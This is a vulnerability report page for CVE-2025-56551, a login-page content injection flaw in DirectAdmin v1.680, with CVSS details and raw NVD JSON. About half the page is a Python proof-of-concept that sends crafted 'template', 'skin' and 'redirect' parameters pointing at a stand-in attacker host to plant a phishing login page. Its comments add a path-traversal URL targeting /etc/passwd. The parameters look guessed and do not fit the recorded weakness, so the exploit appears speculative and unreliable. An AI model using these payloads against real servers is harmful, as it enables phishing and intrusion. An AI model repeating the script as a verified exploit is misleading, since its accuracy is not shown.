Security Vulnerability Report
中文
CVE-2025-56551 CVSS 8.2 HIGH

CVE-2025-56551

Published: 2025-10-03 17:15:48
Last Modified: 2025-10-15 18:34:22

Description

An issue in DirectAdmin v1.680 allows unauthorized attackers to manipulate the page layout and replace the legitimate login interface with arbitrary attacker-controlled content via supplying a crafted GET request.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:directadmin:directadmin:1.680:*:*:*:*:*:*:* - VULNERABLE
DirectAdmin v1.680

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-56551 - DirectAdmin Login Page Content Injection PoC # The vulnerability allows replacing the legitimate login interface # with attacker-controlled content via a crafted GET request. import requests TARGET_URL = "https://target-directadmin-host:2222" # Attacker-controlled server hosting the malicious login page content EVIL_CONTENT_URL = "https://evil-attacker.com/fake_login.html" # Step 1: Craft the malicious GET request with injected parameters # The vulnerability lies in insufficient validation of GET parameters # that control page layout/template loading payload_params = { "template": EVIL_CONTENT_URL, # Inject external template/content "skin": "custom", # Force custom skin loading "redirect": EVIL_CONTENT_URL, # Override redirect target } # Step 2: Send the crafted request to the DirectAdmin login endpoint response = requests.get( f"{TARGET_URL}/CMD_LOGIN", params=payload_params, verify=False ) # Step 3: Verify the page content has been replaced if response.status_code == 200: if "attacker-controlled-marker" in response.text or EVIL_CONTENT_URL in response.text: print("[+] Vulnerability confirmed - page content replaced successfully!") print(f"[+] Target: {TARGET_URL}") print(f"[+] Phishing page is now serving attacker-controlled content") else: print("[-] Content injection may not have succeeded, check response manually") else: print(f"[-] Unexpected status code: {response.status_code}") # Alternative exploitation via direct URL manipulation: # https://target-directadmin-host:2222/CMD_LOGIN?template=https://evil.com/fake.html # https://target-directadmin-host:2222/CMD_LOGIN?skin=../../../../etc/passwd # https://target-directadmin-host:2222/CMD_LOGIN?redirect=https://evil.com/phish

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56551", "sourceIdentifier": "[email protected]", "published": "2025-10-03T17:15:47.550", "lastModified": "2025-10-15T18:34:22.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in DirectAdmin v1.680 allows unauthorized attackers to manipulate the page layout and replace the legitimate login interface with arbitrary attacker-controlled content via supplying a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-598"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:directadmin:directadmin:1.680:*:*:*:*:*:*:*", "matchCriteriaId": "8F8B3F46-A0B6-43B2-A92C-190D75C3A189"}]}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2025100001", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://i.imgur.com/4HF0cnP.png", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://i.imgur.com/qA6SAXO.png", "source": "[email protected]", "tags": ["Product"]}]}}